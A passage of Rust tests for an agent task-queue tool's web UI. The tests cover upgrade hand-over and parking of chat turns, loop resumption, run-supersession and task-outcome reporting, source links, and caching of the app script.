15968 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15969 let _lease = crate::updater::LeaseGuard::enter(
15970 fx.home.path(),
15971 Some("20260905-000000-cd51".to_owned()),
15972 );
15973
15974 let health = fx.get("/api/health").await.json();
15975 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15976 assert!(health["upgrade"]["stuck_kind"].is_null());
15977 assert_eq!(health["upgrade"]["handover_alive"], true);
15978 let waiting_on = health["upgrade"]["waiting_on"]
15979 .as_str()
15980 .expect("waiting_on");
15981 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15982 }
15983
15984 fn idle_ui(home: &TempDir) -> Ui {
15985 let runs = home.path().join("runs");
15986 std::fs::create_dir_all(&runs).expect("runs dir");
15987 Ui::new(
15988 Queue::at(home.path().join("queue")),
15989 Questions::at(home.path().join("questions")),
15990 Talks::at(home.path().join("talks")),
15991 runs,
15992 home.path().to_path_buf(),
15993 PathBuf::from("/repo/magi"),
15994 )
15995 .with_launch(launch_idle)
15996 }
15997
15998 async fn park_fixture(
15999 home: &TempDir,
16000 ) -> (
16001 Ui,
16002 Arc<Mutex<LoopState>>,
16003 Arc<Mutex<TalkTurns>>,
16004 tokio::task::JoinHandle<std::io::Result<()>>,
16005 ) {
16006 let ui = idle_ui(home);
16007 let looping = ui.looping();
16008 let turns = ui.turns();
16009 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16010 .await
16011 .expect("bind loopback");
16012 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
16013 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16014 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
16015 (ui, looping, turns, served)
16016 }
16017
16018 #[tokio::test]
16022 async fn hand_over_waits_for_a_running_chat_turn() {
16023 let home = TempDir::new().expect("temp home");
16024 let (ui, looping, turns, served) = park_fixture(&home).await;
16025 let ui = Arc::new(ui);
16026 let id = "20260901-000000-chat";
16027 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16028
16029 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
16030 let handover = tokio::spawn({
16031 let home = home.path().to_path_buf();
16032 let turns = Arc::clone(&turns);
16033 let calls = Arc::clone(&calls);
16034 async move {
16035 hand_over(
16036 &home,
16037 &looping,
16038 &turns,
16039 &|_: &[String]| Duration::from_secs(60),
16040 served,
16041 move |_| {
16042 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16043 Ok(1)
16044 },
16045 )
16046 .await
16047 }
16048 });
16049
16050 let waiting = async {
16051 for _ in 0..200 {
16052 if crate::updater::read_progress(home.path())
16053 .is_some_and(|p| p.parked_talks == [id.to_owned()])
16054 {
16055 return;
16056 }
16057 tokio::time::sleep(Duration::from_millis(25)).await;
16058 }
16059 panic!("the park never named the chat turn");
16060 };
16061 waiting.await;
16062 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16063
16064 let refused = ui.begin_talk_turn("20260901-000000-late").err();
16067 assert!(
16068 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
16069 "a direct start says an upgrade is in progress"
16070 );
16071 assert!(
16072 ui.begin_queued_talk_turn("20260901-000000-late")
16073 .expect("queued claim")
16074 .is_none()
16075 );
16076 assert!(matches!(
16077 ui.begin_talk_turn_unless_pending("20260901-000000-late")
16078 .expect("start"),
16079 TalkTurnStart::Busy
16080 ));
16081 assert_eq!(turns.lock().unwrap().live.len(), 1);
16082
16083 let progress = crate::updater::read_progress(home.path()).expect("progress");
16085 let view = upgrade_progress_view(&ui, progress);
16086 assert!(
16087 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
16088 "{:?}",
16089 view.waiting_on
16090 );
16091
16092 assert!(!handover.is_finished());
16093 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16094 drop(turn);
16095 handover.await.expect("join").expect("hand over");
16096 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16097 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
16098 }
16099
16100 #[tokio::test]
16103 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
16104 let home = TempDir::new().expect("temp home");
16105 let (ui, looping, turns, served) = park_fixture(&home).await;
16106 let ui = Arc::new(ui);
16107 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
16109 lock_or_recover(&looping).live = Some(Live {
16110 stop: daemon::Stop::new(),
16111 handle: tokio::spawn(async move {
16112 let _ = loop_ended.await;
16113 }),
16114 opts: daemon::Opts::default(),
16115 });
16116
16117 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
16118 let handover = tokio::spawn({
16119 let home = home.path().to_path_buf();
16120 let turns = Arc::clone(&turns);
16121 let calls = Arc::clone(&calls);
16122 async move {
16123 hand_over(
16124 &home,
16125 &looping,
16126 &turns,
16127 &|_: &[String]| Duration::from_secs(60),
16128 served,
16129 move |_| {
16130 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16131 Ok(1)
16132 },
16133 )
16134 .await
16135 }
16136 });
16137
16138 let reached = async {
16139 for _ in 0..200 {
16140 if crate::updater::read_progress(home.path())
16141 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
16142 {
16143 return;
16144 }
16145 tokio::time::sleep(Duration::from_millis(25)).await;
16146 }
16147 panic!("the hand-over never reached parking");
16148 };
16149 reached.await;
16150
16151 assert!(!turns.lock().unwrap().parking);
16153 let turn = ui
16154 .begin_talk_turn("20260901-000000-chat")
16155 .expect("claim")
16156 .expect("a turn can start while the loop parks");
16157
16158 end_loop.send(()).expect("loop still waiting");
16160 for _ in 0..200 {
16161 if turns.lock().unwrap().parking {
16162 break;
16163 }
16164 tokio::time::sleep(Duration::from_millis(25)).await;
16165 }
16166 assert!(
16167 turns.lock().unwrap().parking,
16168 "closed once the loop is done"
16169 );
16170 let refused = ui.begin_talk_turn("20260901-000000-late").err();
16171 assert!(
16172 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
16173 "no turn starts once the loop is done"
16174 );
16175 assert!(
16176 ui.begin_queued_talk_turn("20260901-000000-late")
16177 .expect("queued claim")
16178 .is_none()
16179 );
16180 assert!(!handover.is_finished());
16181 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16182
16183 drop(turn);
16184 handover.await.expect("join").expect("hand over");
16185 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16186 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
16187 }
16188
16189 #[tokio::test]
16192 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
16193 let home = TempDir::new().expect("temp home");
16194 let (ui, looping, turns, served) = park_fixture(&home).await;
16195 let id = "20260901-000000-stuk";
16196 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16197
16198 let calls = std::sync::atomic::AtomicUsize::new(0);
16199 hand_over(
16200 home.path(),
16201 &looping,
16202 &turns,
16203 &|_: &[String]| Duration::from_millis(300),
16204 served,
16205 |_| {
16206 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16207 Ok(1)
16208 },
16209 )
16210 .await
16211 .expect("hand over");
16212 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16213
16214 let progress = crate::updater::read_progress(home.path()).expect("progress");
16215 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
16216 assert!(
16217 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
16218 "{:?}",
16219 progress.detail
16220 );
16221 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
16222 assert!(
16223 log.contains("handing over anyway") && log.contains(id),
16224 "{log}"
16225 );
16226 }
16227
16228 #[tokio::test]
16231 async fn drain_loop_starts_no_turn_while_parking() {
16232 let tmp = TempDir::new().expect("tempdir");
16233 let repo = tmp.path().join("repo");
16234 std::fs::create_dir_all(&repo).expect("repo dir");
16235 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16236 let home = TempDir::new().expect("temp home");
16237 let talks = Talks::at(home.path().join("talks"));
16238 let ui = Ui::new(
16239 Queue::at(home.path().join("queue")),
16240 Questions::at(home.path().join("questions")),
16241 talks.clone(),
16242 home.path().join("runs"),
16243 home.path().to_path_buf(),
16244 repo.clone(),
16245 )
16246 .with_worktrees_root(home.path().join("wt"));
16247 let cfg = config_for(&repo).await.expect("discover config");
16248 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16249 let id = talk.id.clone();
16250 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
16251 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
16252 let turns = ui.turns();
16253 let parking = ParkingTurns::begin(&turns);
16254
16255 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
16256
16257 assert!(
16258 turns.lock().unwrap().live.is_empty(),
16259 "the slot is given up"
16260 );
16261 let fresh = talks.get(&id).expect("talk");
16262 assert_eq!(fresh.pending, "later", "the draft is still queued");
16263 assert!(fresh.turns.is_empty(), "no turn ran");
16264 drop(parking);
16265 }
16266
16267 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
16269 let looping = ui.looping();
16270 let turns = ui.turns();
16271 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16272 .await
16273 .expect("bind loopback");
16274 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16275 let told = std::sync::Mutex::new(None);
16276 hand_over(
16277 home.path(),
16278 &looping,
16279 &turns,
16280 &|_: &[String]| Duration::from_secs(5),
16281 served,
16282 |resume| {
16283 *told.lock().unwrap() = Some(resume);
16284 Ok(1)
16285 },
16286 )
16287 .await
16288 .expect("hand over");
16289 told.into_inner().unwrap().expect("successor was started")
16290 }
16291
16292 #[tokio::test]
16293 async fn a_running_loop_is_resumed_by_the_successor() {
16294 let home = TempDir::new().expect("temp home");
16295 let ui = idle_ui(&home);
16296 ui.start_loop(None).expect("start");
16297 ui.park_for_upgrade().expect("park");
16298 for _ in 0..500 {
16300 if !ui.loop_view(None).running {
16301 break;
16302 }
16303 tokio::time::sleep(Duration::from_millis(2)).await;
16304 }
16305 assert!(handed_over(&home, ui).await, "a running loop must resume");
16306
16307 let successor = idle_ui(&home);
16308 assert!(!successor.loop_view(None).running);
16309 assert!(successor.resume_after_handover(true));
16310 assert!(successor.loop_view(None).running);
16311 successor.stop_loop(None, false).expect("stop");
16312 }
16313
16314 #[tokio::test]
16315 async fn a_second_upgrade_request_keeps_the_resume_intent() {
16316 let home = TempDir::new().expect("temp home");
16317 let ui = idle_ui(&home);
16318 ui.start_loop(None).expect("start");
16319 ui.park_for_upgrade().expect("first park");
16320 ui.park_for_upgrade().expect("second park");
16321 assert!(handed_over(&home, ui).await);
16322 }
16323
16324 #[tokio::test]
16325 async fn a_stop_during_the_handover_wait_is_honoured() {
16326 let home = TempDir::new().expect("temp home");
16327 let ui = idle_ui(&home);
16328 ui.start_loop(None).expect("start");
16329 ui.park_for_upgrade().expect("park");
16330 ui.stop_loop(None, false).expect("stop");
16331 assert!(!handed_over(&home, ui).await);
16332 }
16333
16334 #[tokio::test]
16335 async fn an_idle_loop_stays_stopped_across_the_handover() {
16336 let home = TempDir::new().expect("temp home");
16337 let ui = idle_ui(&home);
16338 ui.park_for_upgrade().expect("park");
16339 assert!(!handed_over(&home, ui).await);
16340
16341 let successor = idle_ui(&home);
16342 assert!(!successor.resume_after_handover(false));
16343 assert!(!successor.loop_view(None).running);
16344 }
16345
16346 #[tokio::test]
16347 async fn a_loop_the_operator_stopped_is_not_resumed() {
16348 let home = TempDir::new().expect("temp home");
16349 let ui = idle_ui(&home);
16350 ui.start_loop(None).expect("start");
16351 ui.stop_loop(None, false).expect("stop");
16352 ui.park_for_upgrade().expect("park");
16353 assert!(!handed_over(&home, ui).await);
16354 }
16355
16356 #[test]
16357 fn only_an_explicit_one_requests_a_resume() {
16358 assert!(!resume_requested(None));
16359 assert!(!resume_requested(Some("0".into())));
16360 assert!(!resume_requested(Some("".into())));
16361 assert!(resume_requested(Some("1".into())));
16362 }
16363
16364 #[test]
16365 fn the_upgrade_button_arms_before_it_restarts_anything() {
16366 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
16369 assert!(APP_JS.contains("Replace the binary and restart?"));
16370 assert!(APP_JS.contains("function confirmed("));
16371 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
16376 assert!(
16380 APP_JS.contains("Parking, then restarting"),
16381 "the button says what it is waiting for"
16382 );
16383 assert!(APP_JS.contains("if (!out.to)"));
16386 }
16387
16388 #[test]
16389 fn stopping_the_loop_arms_but_starting_does_not() {
16390 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
16393 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
16394 assert!(APP_JS.contains("confirmed(button, question)"));
16395 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
16398 assert!(APP_JS.contains("const label = btn.textContent;"));
16399 assert!(!APP_JS.contains("Neither direction is guarded"));
16400 }
16401
16402 #[test]
16403 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
16404 assert!(
16405 APP_JS.contains("state.health.version"),
16406 "the operator wants to know what is running even with nothing newer"
16407 );
16408 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
16409 }
16410
16411 #[test]
16412 fn the_upgrade_button_names_its_destination() {
16413 assert!(
16414 APP_JS.contains("`Update to ${update.to}`"),
16415 "pressing the button should not be a surprise about what it moves to"
16416 );
16417 }
16418
16419 #[test]
16420 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
16421 for stage in ["downloading", "replaced", "parking", "restarting"] {
16422 assert!(
16423 APP_JS.contains(&format!("\"{stage}\"")),
16424 "the phone must be able to tell {stage} apart from the others"
16425 );
16426 }
16427 assert!(APP_JS.contains(".waiting_on"));
16428 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
16433 assert!(APP_JS.contains("reconnects on its own"));
16434 }
16435
16436 #[test]
16437 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
16438 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
16447 ..APP_JS.find("function upgrade(").expect("upgrade")];
16448 assert!(
16449 !body.contains(
16450 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
16451 ),
16452 "a failed upgrade must not take the whole strip over the way it used to"
16453 );
16454 assert!(
16455 body.contains("upgradeFailNote"),
16456 "the failure has to reach the loop's own note instead"
16457 );
16458 assert_eq!(
16462 body.matches("upgradeFailNote].filter(Boolean).join")
16463 .count(),
16464 2,
16465 "both loop-why writers (quiet and control) must fold the note in"
16466 );
16467 }
16468
16469 #[test]
16470 fn an_overdue_upgrade_eventually_asks_for_a_human() {
16471 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
16474 assert!(APP_JS.contains("function upgradeOverdue("));
16475 }
16476
16477 #[test]
16478 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
16479 assert!(
16480 APP_JS.contains("Updated to ${upgradeInfo.to"),
16481 "the operator who asked for the restart wants to know it worked"
16482 );
16483 }
16484
16485 #[test]
16486 fn an_error_is_visible_from_where_the_button_is() {
16487 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
16492 ..APP_CSS.find(".alert-text").expect(".alert-text")];
16493 assert!(
16494 alert.contains("position: fixed"),
16495 "an error about the thing under your thumb has to be visible from \
16496 where your thumb is: {alert}"
16497 );
16498 assert!(
16499 alert.contains("z-index: 25"),
16500 "above the dock (20) and the run-actions FAB (15), so neither \
16501 buries it: {alert}"
16502 );
16503 assert!(
16504 alert.contains("var(--tap)"),
16505 "and clear of the dock and the home indicator: {alert}"
16506 );
16507 assert!(
16510 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
16511 "the FAB's column stays free: {alert}"
16512 );
16513 }
16514
16515 #[tokio::test]
16516 async fn an_older_attempt_says_what_replaced_it() {
16517 let fx = Fixture::start().await;
16518 let q = fx.queue();
16519 let runs = fx.runs();
16520 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16521 write_run(&runs, first, RunStatus::Stalled);
16522 write_run(&runs, second, RunStatus::Blocked);
16523
16524 let mut t = Task::new(
16525 "one task".to_owned(),
16526 "do it".to_owned(),
16527 PathBuf::from("/repo"),
16528 Source::Human,
16529 );
16530 t.runs = vec![first.to_owned(), second.to_owned()];
16531 q.put(&mut t).expect("put");
16532
16533 let rows = fx.get("/api/runs").await.json();
16537 let by = |short: &str| -> Value {
16538 rows.as_array()
16539 .unwrap()
16540 .iter()
16541 .find(|r| r["short"] == short)
16542 .cloned()
16543 .unwrap_or(Value::Null)
16544 };
16545 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
16546 assert!(
16547 by("bbbb")["superseded_by"].is_null(),
16548 "the latest attempt is not superseded by anything"
16549 );
16550 assert!(APP_JS.contains("run.superseded_by"));
16552 assert!(APP_JS.contains("Superseded by"));
16553 }
16554
16555 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
16556 let mut t = Task::new(
16557 "one task".to_owned(),
16558 "do it".to_owned(),
16559 PathBuf::from("/repo"),
16560 Source::Human,
16561 );
16562 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16563 t.status = status;
16564 t
16565 }
16566
16567 #[test]
16568 fn source_link_picks_the_page_that_filed_the_task() {
16569 let agent = |node: &str| Source::Agent {
16570 run: "20260904-014455-ab12".to_owned(),
16571 node: node.to_owned(),
16572 };
16573 let chat = source_link(&agent("chat")).expect("chat link");
16574 assert_eq!(chat.kind, "chat");
16575 assert_eq!(chat.id, "20260904-014455-ab12");
16576 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
16577 let run = source_link(&agent("implement")).expect("run link");
16578 assert_eq!(
16579 (run.kind, run.href.as_str()),
16580 ("run", "#/runs/20260904-014455-ab12")
16581 );
16582 assert_eq!(source_link(&Source::Human), None);
16583 assert_eq!(
16584 source_link(&Source::Issue {
16585 number: 3,
16586 repo: "o/r".to_owned()
16587 }),
16588 None
16589 );
16590 let odd = source_link(&Source::Agent {
16591 run: "a b/c".to_owned(),
16592 node: "chat".to_owned(),
16593 })
16594 .expect("link");
16595 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
16596 }
16597
16598 #[test]
16599 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
16600 assert!(
16601 !APP_JS.contains("src.node === \"chat\""),
16602 "inline href rule is back"
16603 );
16604 assert!(
16605 APP_JS.matches("sourceLinkOf(").count() >= 4,
16606 "helper must serve every page"
16607 );
16608 assert!(
16609 APP_JS.matches("openChatLink(").count() >= 3,
16610 "the run page still needs its explicit chat link"
16611 );
16612 assert!(
16613 !APP_JS.contains("const openChat = el("),
16614 "the Queue card duplicates its source label link again"
16615 );
16616 assert!(
16617 APP_JS.contains("metaKids.push(link ? el(\"a\""),
16618 "the task page must link a chat source label too"
16619 );
16620 }
16621
16622 #[test]
16623 fn task_ref_carries_the_source_link_for_a_chat_task() {
16624 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16625 t.source = Source::Agent {
16626 run: "20260904-014455-ab12".to_owned(),
16627 node: "chat".to_owned(),
16628 };
16629 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
16630 let v = serde_json::to_value(&out).expect("json");
16631 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
16632 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
16633 assert_eq!(v["source_label"], t.source.label());
16634
16635 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16636 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
16637 .expect("json");
16638 assert!(v["source_link"].is_null(), "{v}");
16639 }
16640
16641 #[test]
16642 fn task_view_serializes_source_link() {
16643 let mut t = Task::new(
16644 "t".to_owned(),
16645 "t".to_owned(),
16646 PathBuf::from("/repo"),
16647 Source::Agent {
16648 run: "20260901-000000-aaaa".to_owned(),
16649 node: "implement".to_owned(),
16650 },
16651 );
16652 t.runs.clear();
16653 let v = serde_json::to_value(TaskView::from(t)).expect("json");
16654 assert_eq!(v["source_link"]["kind"], "run", "{v}");
16655 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
16656 }
16657
16658 #[tokio::test]
16659 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
16660 let fx = Fixture::start().await;
16661 let runs = fx.runs();
16662 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16663 write_run(&runs, old, RunStatus::Blocked);
16664 write_run(&runs, new, RunStatus::Merged);
16665 let mut t = outcome_task(&[old, new], TaskStatus::Done);
16666 fx.queue().put(&mut t).expect("put");
16667
16668 let view = fx.get(&format!("/api/runs/{old}")).await.json();
16669 let task = &view["task"];
16670 assert_eq!(task["status"], "done");
16671 assert_eq!(task["is_latest"], false);
16672 assert_eq!(task["latest"]["short"], "bbbb");
16673 assert_eq!(task["finished_by"]["id"], new);
16674 assert_eq!(task["finished_by"]["outcome"], "merged");
16675 assert_eq!(task["closed_by_hand"], false);
16676 assert_eq!(view["status"], "blocked", "the run keeps its own status");
16677 assert!(APP_JS.contains("finished_by"));
16678 assert!(APP_JS.contains("superseded by run"));
16679 }
16680
16681 #[tokio::test]
16682 async fn the_latest_run_reports_a_held_task_without_a_successor() {
16683 let fx = Fixture::start().await;
16684 let runs = fx.runs();
16685 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16686 write_run(&runs, old, RunStatus::Stalled);
16687 write_run(&runs, new, RunStatus::Blocked);
16688 let mut t = outcome_task(&[old, new], TaskStatus::Held);
16689 fx.queue().put(&mut t).expect("put");
16690
16691 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
16692 assert_eq!(task["status"], "held");
16693 assert_eq!(task["is_latest"], true);
16694 assert!(task["latest"].is_null());
16695 assert!(task["finished_by"].is_null());
16696 assert_eq!(task["closed_by_hand"], false);
16697 }
16698
16699 #[tokio::test]
16700 async fn a_direct_run_has_no_task_outcome() {
16701 let fx = Fixture::start().await;
16702 let runs = fx.runs();
16703 let id = "20260901-000000-aaaa";
16704 write_run(&runs, id, RunStatus::Blocked);
16705 let view = fx.get(&format!("/api/runs/{id}")).await.json();
16706 assert!(view["task"].is_null());
16707 }
16708
16709 #[test]
16710 fn task_outcome_does_not_guess_a_finishing_run() {
16711 let a = "20260901-000000-aaaa";
16712 let b = "20260901-000000-bbbb";
16713 let c = "20260901-000000-cccc";
16714 let dir = tempfile::tempdir().expect("tempdir");
16715 write_run(dir.path(), a, RunStatus::Blocked);
16716 write_run(dir.path(), b, RunStatus::VerifiedNoop);
16717 let read = |id: &str| read_run(dir.path(), id).ok();
16719 let t = outcome_task(&[a, b, c], TaskStatus::Done);
16722 let out = task_outcome(&t, a, 3, read);
16723 assert!(out.finished_by.is_none());
16724 assert!(out.closed_by_hand);
16725 let latest = out.latest.expect("latest");
16726 assert_eq!(latest.id, c);
16727 assert_eq!(latest.status, None);
16728 assert_eq!(latest.outcome, "record unreadable");
16729
16730 write_run(dir.path(), c, RunStatus::Ready);
16732 let t = outcome_task(&[a, c], TaskStatus::Done);
16733 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16734 assert_eq!(out.finished_by.expect("finisher").id, c);
16735 assert!(!out.closed_by_hand);
16736
16737 let t = outcome_task(&[a, b, a], TaskStatus::Held);
16739 assert!(task_outcome(&t, a, 3, read).is_latest);
16740 }
16741
16742 #[tokio::test]
16743 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16744 let fx = Fixture::start().await;
16749 let q = fx.queue();
16750 let runs = fx.runs();
16751 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16752 write_run(&runs, first, RunStatus::Blocked);
16753 write_run(&runs, second, RunStatus::Merged);
16754
16755 let mut t = Task::new(
16756 "one task".to_owned(),
16757 "do it".to_owned(),
16758 PathBuf::from("/repo"),
16759 Source::Human,
16760 );
16761 t.runs = vec![first.to_owned(), second.to_owned()];
16762 q.put(&mut t).expect("put");
16763
16764 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16765 assert_eq!(earlier["superseded_by"], "dddd");
16766 assert_eq!(earlier["latest_attempt"]["id"], second);
16767 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16768 assert_eq!(
16769 earlier["latest_attempt"]["resolved"], true,
16770 "the run that replaced it landed, so this one reads as settled"
16771 );
16772
16773 let later = fx.get(&format!("/api/runs/{second}")).await.json();
16774 assert!(
16775 later["superseded_by"].is_null(),
16776 "the latest attempt is not superseded by anything"
16777 );
16778 assert!(
16779 later["latest_attempt"].is_null(),
16780 "the latest attempt has no later attempt of its own"
16781 );
16782
16783 assert!(APP_JS.contains("run.latest_attempt"));
16790 assert!(APP_JS.contains("data-superseded"));
16791 assert!(APP_JS.contains("#/runs/${latest.id}"));
16792 }
16793
16794 #[tokio::test]
16795 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16796 let fx = Fixture::start().await;
16802 let q = fx.queue();
16803 let runs = fx.runs();
16804 let (a, b, c) = (
16805 "20260901-000000-aaaa",
16806 "20260901-000000-bbbb",
16807 "20260901-000000-cccc",
16808 );
16809 write_run(&runs, a, RunStatus::Blocked);
16810 write_run(&runs, b, RunStatus::Blocked);
16811 write_run(&runs, c, RunStatus::Merged);
16812
16813 let mut t = Task::new(
16814 "retried twice".to_owned(),
16815 "do it".to_owned(),
16816 PathBuf::from("/repo"),
16817 Source::Human,
16818 );
16819 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16820 q.put(&mut t).expect("put");
16821
16822 let view = fx.get(&format!("/api/runs/{a}")).await.json();
16823 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16824 assert_eq!(
16825 view["latest_attempt"]["id"], c,
16826 "the chain's current head, not the intermediate Blocked retry"
16827 );
16828 assert_eq!(view["latest_attempt"]["resolved"], true);
16829
16830 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16831 assert_eq!(mid["latest_attempt"]["id"], c);
16832 assert_eq!(mid["latest_attempt"]["resolved"], true);
16833 }
16834
16835 #[tokio::test]
16836 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16837 let fx = Fixture::start().await;
16838 let q = fx.queue();
16839 let runs = fx.runs();
16840
16841 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16844 write_run(&runs, still_blocked_a, RunStatus::Blocked);
16845 write_run(&runs, still_blocked_b, RunStatus::Blocked);
16846 let mut t1 = Task::new(
16847 "still stuck".to_owned(),
16848 "do it".to_owned(),
16849 PathBuf::from("/repo"),
16850 Source::Human,
16851 );
16852 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16853 q.put(&mut t1).expect("put");
16854 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16855 assert_eq!(view1["latest_attempt"]["resolved"], false);
16856 assert_eq!(view1["latest_attempt"]["status"], "blocked");
16857 assert_eq!(view1["latest_attempt"]["done"], true);
16858
16859 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16861 write_run(&runs, run_a, RunStatus::Blocked);
16862 write_run(&runs, run_b, RunStatus::Implementing);
16863 let mut t3 = Task::new(
16864 "retrying".to_owned(),
16865 "do it".to_owned(),
16866 PathBuf::from("/repo"),
16867 Source::Human,
16868 );
16869 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16870 q.put(&mut t3).expect("put");
16871 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16872 assert_eq!(view3["latest_attempt"]["id"], run_b);
16873 assert_eq!(view3["latest_attempt"]["resolved"], false);
16874 assert_eq!(view3["latest_attempt"]["done"], false);
16875
16876 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16881 write_run(&runs, noop_a, RunStatus::Blocked);
16882 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16883 let mut t2 = Task::new(
16884 "claims done".to_owned(),
16885 "do it".to_owned(),
16886 PathBuf::from("/repo"),
16887 Source::Human,
16888 );
16889 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16890 q.put(&mut t2).expect("put");
16891 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16892 assert_eq!(
16893 view2["latest_attempt"]["resolved"], false,
16894 "an unverified no-op claim must not read as a confirmed finish"
16895 );
16896
16897 assert!(APP_JS.contains("latest.resolved"));
16900 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16903 assert!(APP_JS.contains("Latest attempt: "));
16904 assert!(APP_JS.contains("in flight"));
16905 assert!(APP_JS.contains("not resolved"));
16906 }
16907
16908 #[tokio::test]
16909 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16910 let fx = Fixture::start().await;
16911 let js = fx.get("/app.js").await;
16917 assert_eq!(js.status, 200);
16918 let tag = js
16919 .header("etag")
16920 .expect("an etag to revalidate against")
16921 .to_owned();
16922 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16923 assert_eq!(
16924 js.header("cache-control"),
16925 Some("no-cache, must-revalidate"),
16926 "the phone has to ask every time"
16927 );
16928
16929 let again = fx
16932 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16933 .await;
16934 assert_eq!(
16935 again.status, 304,
16936 "a deck it already has costs one round trip"
16937 );
16938 assert!(again.body.is_empty(), "304 carries no body");
16939
16940 let weak = fx
